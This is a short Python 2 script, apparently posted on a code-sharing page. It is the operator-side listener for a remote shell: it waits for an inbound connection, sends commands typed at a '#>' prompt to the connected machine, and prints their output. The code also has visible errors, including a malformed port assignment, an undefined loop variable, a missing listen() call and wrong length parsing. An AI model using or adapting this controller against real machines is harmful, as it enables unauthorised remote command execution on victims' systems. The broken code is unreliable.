1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import socket, subprocess as sp, sys
host = sys.argv[1]
port: int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
conn, addr = s.accept()
print("{+} Connection établie avec l'hote ! %s" % (str(addr[0])))
while l:
command = raw_input("#> ")
if command != "exit()":
if command == "": continue
conn.send(command)
result = conn.recv(1024)
total_size = long(result[16])
result = result[16:]
while total_size > len (result):
data = conn.recv(1024)
result += data
print(result.rstrip("\n"))
else:
conn.send("exit()")
print("{-} Connection fermée")
break
s.close() |
Partager